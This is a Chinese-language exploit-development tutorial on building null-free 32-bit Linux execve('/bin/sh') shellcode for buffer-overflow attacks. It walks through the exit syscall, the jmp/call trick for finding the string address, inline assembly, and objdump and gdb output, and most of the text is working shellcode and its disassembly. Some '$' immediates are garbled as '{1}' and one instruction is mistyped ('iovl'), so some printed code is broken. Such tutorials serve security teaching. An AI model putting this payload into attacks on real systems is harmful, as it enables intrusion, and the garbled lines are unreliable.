基本shellcode提取方法:http://www.linuxidc.com/Linux/2011-10/44764.htm
接下來,我們將在上文的基礎上,進一步完善shellcode的提取。
前面關於main和execve的分析,同“基本shellcode提取方法”中相應部分的講解。
如果execve()調用失敗的話,程序將會繼續從堆棧中獲取指令並執行,而此時堆棧中的數據時隨機的,通常這個程序會core dump。如果我們希望在execve()調用失敗時,程序仍然能夠正常退出,那麼我們就必須在execve()調用之後增加一個exit系統調用。它的C語言程序如下:
- root@linux:~/pentest# cat shellcode_exit.c
- #include <stdio.h>
- #include <stdlib.h>
-
- int main(int argc, char **argv) {
- exit(0);
- }
- root@linux:~/pentest# gdb shellcode_exit
- GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
- Copyright (C) 2010 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type "show copying"
- and "show warranty" for details.
- This GDB was configured as "i686-linux-gnu".
- For bug reporting instructions, please see:
- <http://www.gnu.org/software/gdb/bugs/>...
- Reading symbols from /root/pentest/shellcode_exit...done.
- (gdb) disass exit
- Dump of assembler code for function exit@plt:
- 0x080482f0 <+0>: jmp *0x804a008
- 0x080482f6 <+6>: push {1}x10
- 0x080482fb <+11>: jmp 0x80482c0
- End of assembler dump.
- (gdb)
通過gdb反匯編可以看到現在的gcc編譯器向我們隱藏了exit系統調用的實現細節。但是,通過翻閱以前版本gdb反匯編信息,仍然可以得到exit系統調用的實現細節。
- [scz@ /home/scz/src]> gdb shellcode_exit
- GNU gdb 4.17.0.11 with Linux support
- This GDB was configured as "i386-RedHat-linux"...
- (gdb) disas _exit
- Dump of assembler code for function _exit:
- 0x804b970 <_exit>: movl %ebx,%edx
- 0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx
- 0x804b976 <_exit+6>: movl {1}x1,%eax
- 0x804b97b <_exit+11>: int {1}x80
- 0x804b97d <_exit+13>: movl %edx,%ebx
- 0x804b97f <_exit+15>: cmpl {1}xfffff001,%eax
- 0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error>
- End of assembler dump.
我們可以看到,exit系統調用將0x1放入到eax中(它是syscall的索引值),同時將退出碼放入到ebx中(大部分程序正常退出時的返回值是0),然後執行“int 0x80”系統調用。
其實,到目前為止,我們要構造shellcode,但是我們並不知道我們要放置的字符串在內存中的確切位置。在3.1節中,我們采用將字符串壓棧的方式獲得字符串起始地址。在這一節中,我們將給出一種確定字符串起始地址的設計方案。該方案采用的是jmp和call指令。由於jmp和call指令都可以采用eip相對尋址,也就是說,我們可以從當前運行的地址跳到一個偏移地址處執行,而不必知道這個地址的確切地址值。如果我們將call指令放在“/bin/bash”字符串前,然後jmp到call指令的位置,那麼當call指令被執行時,它會首先將下一個要執行的指令的地址(也就是字符串的起始地址)壓入堆棧。這樣就可以獲得字符串的起始地址。然後我們可以讓call指令調用我們的shellcode的第一條指令,然後將返回地址(字符串起始地址)從堆棧中彈出到某個寄存器中。
我們要構造的shellcode的執行流程如下圖所示:
Shellcode執行流程解析:
RET覆蓋返回地址eip之後,子函數返回時將跳轉到我們的shellcode的起始地址處執行。由於shellcode起始地址處是一條jmp指令,它直接跳到了我們的call指令處執行。call指令先將返回地址(“/bin/bash”字符串地址)壓棧之後,跳轉到jmp指令下一地址處指令繼續執行。這樣就可以獲取到字符串的地址。
即:
- Beginning_of_shellcode:
- jmp subroutine_call
- subroutine:
- popl %esi
- ……
- (shellcode itself)
- ……
- subroutine_call:
- call subroutine
- /bin/sh
下面,我們用C語言內嵌匯編的方式,構造shellcode。
- root@linux:~/pentest# cat shellcode_asm.c
- #include <stdio.h>
-
- int main(int argc, char **argv) {
-
- __asm__
- (" \
- jmp subroutine_call; \
- subroutine: \
- popl %esi; \
- movl %esi,0x8(%esi); \
- movl {1}x0,0xc(%esi); \
- movb {1}x0,0x7(%esi); \
- movl {1}xb,%eax; \
- movl %esi,%ebx; \
- leal 0x8(%esi),%ecx; \
- leal 0xc(%esi),%edx; \
- int {1}x80; \
- movl {1}x0,%ebx; \
- movl {1}x1,%eax; \
- int {1}x80; \
- subroutine_call: \
- call subroutine; \
- .string \"/bin/sh\"; \
- ");
-
- return 0;
- }
-
- root@linux:~/pentest# objdump -d shellcode_asm
-
- 08048394 <main>:
- 8048394: 55 push %ebp
- 8048395: 89 e5 mov %esp,%ebp
- 8048397: eb 2a jmp 80483c3 <subroutine_call>
-
- 08048399 <subroutine>:
- 8048399: 5e pop %esi
- 804839a: 89 76 08 mov %esi,0x8(%esi)
- 804839d: c7 46 0c 00 00 00 00 movl {1}x0,0xc(%esi)
- 80483a4: c6 46 07 00 movb {1}x0,0x7(%esi)
- 80483a8: b8 0b 00 00 00 mov {1}xb,%eax
- 80483ad: 89 f3 mov %esi,%ebx
- 80483af: 8d 4e 08 lea 0x8(%esi),%ecx
- 80483b2: 8d 56 0c lea 0xc(%esi),%edx
- 80483b5: cd 80 int {1}x80
- 80483b7: bb 00 00 00 00 mov {1}x0,%ebx
- 80483bc: b8 01 00 00 00 mov {1}x1,%eax
- 80483c1: cd 80 int {1}x80
-
- 080483c3 <subroutine_call>:
- 80483c3: e8 d1 ff ff ff call 8048399 <subroutine>
- 80483c8: 2f das
- 80483c9: 62 69 6e bound %ebp,0x6e(%ecx)
- 80483cc: 2f das
- 80483cd: 73 68 jae 8048437 <__libc_csu_init+0x57>
- 80483cf: 00 b8 00 00 00 00 add %bh,0x0(%eax)
- 80483d5: 5d pop %ebp
- 80483d6: c3 ret
- 80483d7: 90 nop
- 80483d8: 90 nop
- 80483d9: 90 nop
- 80483da: 90 nop
- 80483db: 90 nop
- 80483dc: 90 nop
- 80483dd: 90 nop
- 80483de: 90 nop
- 80483df: 90 nop
替換掉shellcode中含有的Null字節的指令:
含有Null字節的指令
替代指令
movl $0x0,0xc(%esi)
movb $0x0,0x7(%esi)
xorl %eax,%eax
movl %eax,0xc(%esi)
movb %al,0x7(%esi)
movl $0xb,%eax
xorl %eax,%eax
movb $0xb,%al
movl $0x1,%eax
movl $0x0,%ebx
xorl %ebx,%ebx
iovl %ebx,%eax
inc %eax
修改後的代碼和反匯編結果如下:
- root@linux:~/pentest# cat shellcode_asm.c
- #include <stdio.h>
-
- int main(int argc, char **argv) {
-
- __asm__
- (" \
- jmp subroutine_call; \
- subroutine: \
- popl %esi; \
- movl %esi,0x8(%esi); \
- xorl %eax,%eax; \
- movl %eax,0xc(%esi); \
- movb %al,0x7(%esi); \
- movb {1}xb,%al; \
- movl %esi,%ebx; \
- leal 0x8(%esi),%ecx; \
- leal 0xc(%esi),%edx; \
- int {1}x80; \
- xorl %ebx,%ebx; \
- movl %ebx,%eax; \
- inc %eax; \
- int {1}x80; \
- subroutine_call: \
- call subroutine; \
- .string \"/bin/sh\"; \
- ");
-
- return 0;
- }
- root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
- root@linux:~/pentest# objdump -d shellcode_asm
- 08048394 <main>:
- 8048394: 55 push %ebp
- 8048395: 89 e5 mov %esp,%ebp
- 8048397: eb 1f jmp 80483b8 <subroutine_call>
-
- 08048399 <subroutine>:
- 8048399: 5e pop %esi
- 804839a: 89 76 08 mov %esi,0x8(%esi)
- 804839d: 31 c0 xor %eax,%eax
- 804839f: 89 46 0c mov %eax,0xc(%esi)
- 80483a2: 88 46 07 mov %al,0x7(%esi)
- 80483a5: b0 0b mov {1}xb,%al
- 80483a7: 89 f3 mov %esi,%ebx
- 80483a9: 8d 4e 08 lea 0x8(%esi),%ecx
- 80483ac: 8d 56 0c lea 0xc(%esi),%edx
- 80483af: cd 80 int {1}x80
- 80483b1: 31 db xor %ebx,%ebx
- 80483b3: 89 d8 mov %ebx,%eax
- 80483b5: 40 inc %eax
- 80483b6: cd 80 int {1}x80
-
- 080483b8 <subroutine_call>:
- 80483b8: e8 dc ff ff ff call 8048399 <subroutine>
- 80483bd: 2f das
- 80483be: 62 69 6e bound %ebp,0x6e(%ecx)
- 80483c1: 2f das
- 80483c2: 73 68 jae 804842c <__libc_csu_init+0x5c>
- 80483c4: 00 b8 00 00 00 00 add %bh,0x0(%eax)
- 80483ca: 5d pop %ebp
- 80483cb: c3 ret
- 80483cc: 90 nop
- 80483cd: 90 nop
- 80483ce: 90 nop
- 80483cf: 90 nop
- root@linux:~/pentest# gdb shellcode_asm
- (gdb) b main
- Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.
- (gdb) r
- Starting program: /root/pentest/shellcode_asm
-
- Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5
- 5 __asm__
- (gdb) disass main
- Dump of assembler code for function main:
- 0x08048394 <+0>: push %ebp
- 0x08048395 <+1>: mov %esp,%ebp
- => 0x08048397 <+3>: jmp 0x80483b8 <subroutine_call>
- 0x08048399 <+5>: pop %esi
- 0x0804839a <+6>: mov %esi,0x8(%esi)
- 0x0804839d <+9>: xor %eax,%eax
- 0x0804839f <+11>: mov %eax,0xc(%esi)
- 0x080483a2 <+14>: mov %al,0x7(%esi)
- 0x080483a5 <+17>: mov {1}xb,%al
- 0x080483a7 <+19>: mov %esi,%ebx
- 0x080483a9 <+21>: lea 0x8(%esi),%ecx
- 0x080483ac <+24>: lea 0xc(%esi),%edx
- 0x080483af <+27>: int {1}x80
- 0x080483b1 <+29>: xor %ebx,%ebx
- 0x080483b3 <+31>: mov %ebx,%eax
- 0x080483b5 <+33>: inc %eax
- 0x080483b6 <+34>: int {1}x80
- 0x080483b8 <+0>: call 0x8048399 <main+5>
- 0x080483bd <+5>: das
- 0x080483be <+6>: bound %ebp,0x6e(%ecx)
- 0x080483c1 <+9>: das
- 0x080483c2 <+10>: jae 0x804842c
- 0x080483c4 <+12>: add %bh,0x0(%eax)
- 0x080483ca <+18>: pop %ebp
- 0x080483cb <+19>: ret
- End of assembler dump.
- (gdb) x/s 0x080483bd
- 0x80483bd <subroutine_call+5>: "/bin/sh"